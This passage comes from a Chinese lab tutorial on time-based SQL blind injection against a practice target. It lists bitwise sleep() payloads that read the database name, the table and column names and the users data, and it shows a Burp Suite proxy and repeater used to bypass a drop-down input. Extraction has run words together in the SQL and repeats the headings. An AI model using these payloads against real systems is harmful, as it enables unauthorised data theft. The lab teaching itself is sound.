#”采用二分法逐一判斷,測試獲取每個字符,可以得到第一行數據為“admin”。14、實驗可以繼續使用11-13步驟,將users表中的所有數據測試分析獲取到,完成暴庫。前面實驗是基于時間的字符型注入方法,在注入方法中,還有一種是基于字節注入,下面簡單介紹一下基于時間的字節型注入方法。基于字節的基本原理在任務2中已經做了詳細分析,在此不再重復。具體操作如下:6.4基于時間的注入1、猜解數據庫名字節長度,使用注入語1'andif(ascii(length(database()))&128=128,sleep(5),1)# 無時間延遲1'andif(ascii(length(database()))&64=64,sleep(5),1)# 無時間延遲1'andif(ascii(length(database()))&32=32,sleep(5),1)# 有時間延遲1'andif(ascii(length(database()))&16=16,sleep(5),1)# 有時間延遲1'andif(ascii(length(database()))&8=8,sleep(5),1)# 無時間延遲1'andif(ascii(length(database()))&4=4,sleep(5),1)# 有時間延遲1'andif(ascii(length(database()))&2=2,sleep(5),1)# 無時間延遲6.4基于時間的注入1'andif(ascii(length(database()))&1=1,sleep(5),1)# 無時間延遲由上面的邏輯值可知,二進制位為“00110100”轉換為十進制為“52”,在ASCII碼表中,十進制值為52的字符為數字4,所以數據庫名長度為4。2、數據庫名每一個字符的判斷,使用注入語句“1'andif((substr(database(),1,1))&128=128,sleep(5),1)#”,等號兩側的值由128,替換為“64、32、16、8、4、2、1”,逐一判斷每個字節的值。如下所示,有邏輯值可知,二進制位“01100100”,十進制數值為“100”,對應ASCII碼表中字符“d”。1'andif((substr(database(),1,1))&128=128,sleep(5),1)# 無時間延遲1'andif((substr(database(),1,1))&64=64,sleep(5),1)# 有時間延遲1'andif((substr(database(),1,1))&32=32,sleep(5),1)# 有時間延遲1'andif((substr(database(),1,1))&16=16,sleep(5),1)# 無時間延遲6.4基于時間的注入1'andif((substr(database(),1,1))&8=8,sleep(5),1)# 有時間延遲1'andif((substr(database(),1,1))&4=4,sleep(5),1)# 無時間延遲1'andif((substr(database(),1,1))&2=2,sleep(5),1)# 無時間延遲1'andif((substr(database(),1,1))&1=1,sleep(5),1)# 無時間延遲3、數據表個數判斷,注入語句為“1'andif(ascii(selectcount(table_name)frominformation_schema.tableswheretable_schema=database())&128=128,sleep(5),1)#”,等號兩側的值由128,替換為“64、32、16、8、4、2、1”,逐一判斷每個字節的值。

4、第一個數據表中,表名長度判斷,注入語句為“1'andif(ascii(length(substr(selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1))&128=128,sleep(5),1)#”,等號兩側的值由128,替換為“64、32、16、8、4、2、1”,逐一判斷每個字節的值。6.4基于時間的注入5、第一個表的表名第一個字符,注入語句為“1'andif(ascii(substr((selecttable_namefrominformation_schema.tableswheretable_schema=database()limit0,1),1,1))&128=128,sleep(5),1)#”,等號兩側的值由128,替換為“64、32、16、8、4、2、1”,逐一判斷每個字節的值。6、第一個表中列字段個數,注入語句為“1'andif(ascii(selectcount(column_name)frominformation_schema.columnswheretable_name='guestbook')&128=128,sleep(5),1)#”,等號兩側的值由128,替換為“64、32、16、8、4、2、1”,逐一判斷每個字節的值。7、第一個表中第一個列字段長度,注入語句“1'andif(ascii(length(substr((selectcolumn_namefrominformation_schema.columnswheretable_name='guestbook'limit0,1),1)))&128=128,sleep(5),1)#”,等號兩側的值由128,替換為“64、32、16、8、4、2、1”,逐一判斷每個字節的值。8、第一個表中第一個列字段第一個字符的注入,語句為“1'andif(ascii(substr((selectcolumn_namefrominformation_schema.columnswheretable_name='guestbook'limit0,1),1,1))&128=128,sleep(5),1)#”,等號兩側的值由6.4基于時間的注入128,替換為“64、32、16、8、4、2、1”,逐一判斷每個字節的值。

9、以users表中,user列為例,讀取該列數據,獲取該列數據行數,注入語句為“1'andif(ascii(selectcount(user)fromusers)&128=128,sleep(5),1)#”,等號兩側的值由128,替換為“64、32、16、8、4、2、1”,逐一判斷每個字節的值。10、users表中,user列,第一行數據長度。注入語句為“1'andif(ascii(substr((selectuserfromuserslimit0,1),1))&128=128,sleep(5),1)#”,等號兩側的值由128,替換為“64、32、16、8、4、2、1”,逐一判斷每個字節的值。11、users表中,user列,第一行數據的第一個字符注入語句為“1'andif(ascii(substr((selectuserfromuserslimit0,1),1,1))&128=128,sleep(5),1)#”,等號兩側的值由128,替換為“64、32、16、8、4、2、1”,逐一判斷每個字節的值。6.5非文本框輸入的?SQL?盲注任務4非文本框輸入的基于布爾值的字符型注入

1、在任務1分析注入原理時,分析了數據處理源碼,其中存在的主要問題是,獲取到的變量沒有進行任何安全級別的過濾,直接拿來進行執行。另一個問題是在頁面中使用了文本框,用戶可以輸入數據,如果不讓用戶輸入數據使用下拉列表框,會不會就不能完成SQL注入呢?(將SecurityLevel修改為medium)如下圖所示圖6-16下拉列表框6.5非文本框輸入的?SQL?盲注

2、由上圖可以看到在下拉列表框中無法輸入數據,因此不能進行SQL注入,但可以使用代理服務器繞過前端,完成SQL注入。客戶端(瀏覽器)與服務器數據傳輸方式如下圖所示:圖6-17訪問流程圖6.5非文本框輸入的?SQL?盲注在正常的訪問過程中,客戶端發起數據請求“1”,服務器做出對應應答

“2”。如果使用代理服務器,則在客戶端請求與應答不再是1-2的路徑,改變為3-4-5-6,在此路徑中,數據請求與應答都需要經過代理服務器,因此可以再客戶端發起請求后,在請求到達代理服務器后,在代理服務器中修改客戶端請求,再將修改后的請求發給服務器,服務器將針對修改后的請求給出應答,利用這個原理繞過客戶端的安全設置。3、使用Burpsuit軟件作為代理服務器。需要設置兩個地方,第一,設置瀏覽器代理服務器,在firefox瀏覽器中,選擇打開菜單(工具欄中最后一個圖標,類似三根橫線的圖標),選擇選項,在常規選項卡中設置代理,設置如下圖所示6.5非文本框輸入的?SQL?盲注圖6-18瀏覽器代理設置16.5非文本框輸入的?SQL?盲注在上圖中選擇紅色數字“3”處的設置按鈕,打開下一步操作。如下圖所示:圖6-19瀏覽器代理設置2在上圖中選擇“手動代理配置”,HTTP代理設置為“”,端口號為“80”,然后確定。瀏覽器代理設置完成后,進行Burpsuit代理的設置,如下圖所示:6.5非文本框輸入的?SQL?盲注圖6-20Burpsuit設置6.5非文本框輸入的?SQL?盲注打開Burpsuit,如上圖所示,選擇紅色數字1處“proxy”,選擇紅色數字2處“options”,選中上圖中深色底紋處,然后選擇紅色數字3處“edit”,打開具體設置窗口,在紅色數字4處更改為如圖所示,然后保存更改,代理設置完成。4、在Burpsuit中將代理設置為監聽狀態,設置下圖所示圖6-21設置為監聽狀態6.5非文本框輸入的?SQL?盲注設置順序為在proxy中選擇紅色數字1處intercept,紅色數字2處設置為interceptison將Burpsuit代理服務器設置為監聽狀態。5、在圖6-15所示的客戶端中,在下拉列表框中選擇一個數字然后提交,例如選擇1。

然后打開Burpsuit,發現已經監聽到了客戶端的數據請求,如下圖所示:圖6-22獲取數據請求6.5非文本框輸入的?SQL?盲注

6、在上圖中的紅色數字1處可以看到獲取數據“id=1&Submit=Submit”,其中id的值為在下拉列表框中獲取到的值,也是要傳到服務器中要執行SQL命令語句的值,在此可以更改id的值,看是否可以進行注入,修改如下所示:圖6-23修改數據6.5非文本框輸入的?SQL?盲注

7、將id值改為m,如上圖紅色數字1處所示,然后單擊“forward”按鈕,完成修改并將數據發送給靶機服務器,服務器將請求數據發送給客戶端(服務器是針對修改后請求發送的數據,因此不需要監聽服務器發回的數據,直接將數據放行,發送到客戶端。),打來客戶端可以看到如下返回數據。圖6-24輸入m返回值6.5非文本框輸入的?SQL?盲注

8、由上圖返回結果可以得到沒有為m的列,數據不存在。由任務1可知,在暴庫前需要大量的注入測試,因此每次測試都需要經過前面步驟5-8,提交數據——監聽數據——修改數據——放行——返回數據,一系列過程,操作比較繁瑣,因此可以使用Burpsuit的重復測試功能。9、在圖6-21的步驟中,在紅色數字1所在的位置單擊鼠標右鍵,選擇“sendtorepeater”,6.5非文本框輸入的?SQL?盲注圖6-25repeater設置6.5非文本框輸入的?SQL?盲注在上圖中所示的圖片中,選擇菜單欄中的repeater選項卡,如紅色數字1所示位置,可以看到上圖內容。在紅色數字2處將id值的1改為m,然后單擊紅色數字3處“go”,在response中可以看到具體返回值數據,返回的是網頁的html代碼,在紅色數字4處可以看到的返回值與圖6-23中的返回值是完全相同。10、后續在repeater中修改id值完成相應測試。首先需要測試是否存在注入漏洞,然后確定注入類型。通過前面步驟的測試,將id值1改為m后,存在返回值,可以基本確定存在注入漏洞。11、在repeater中將id值“1”,改為“1’”然后放行,查看response中的返回值如下圖所示,從返回結果可以看到,是錯誤提示,不再跟SQL注入實驗中可以通過該步驟操作獲取一系列信息。6.5非文本框輸入的?SQL?盲注圖6-26注入類型判斷16.5非文本框輸入的?SQL?盲注12、對注入類型判斷,使用注入語句“1'and1=1#”與“1'and1=2#”,返回結果如下圖所示,由圖知道,返回值都是相同的,不在數據庫中,此處無法判斷是不能被

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯系上傳者。文件的所有權益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經權益所有人同意不得將文件中的內容挪作商業或盈利用途。
  • 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
  • 6. 下載文件中如有侵權或不適當內容,請與我們聯系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論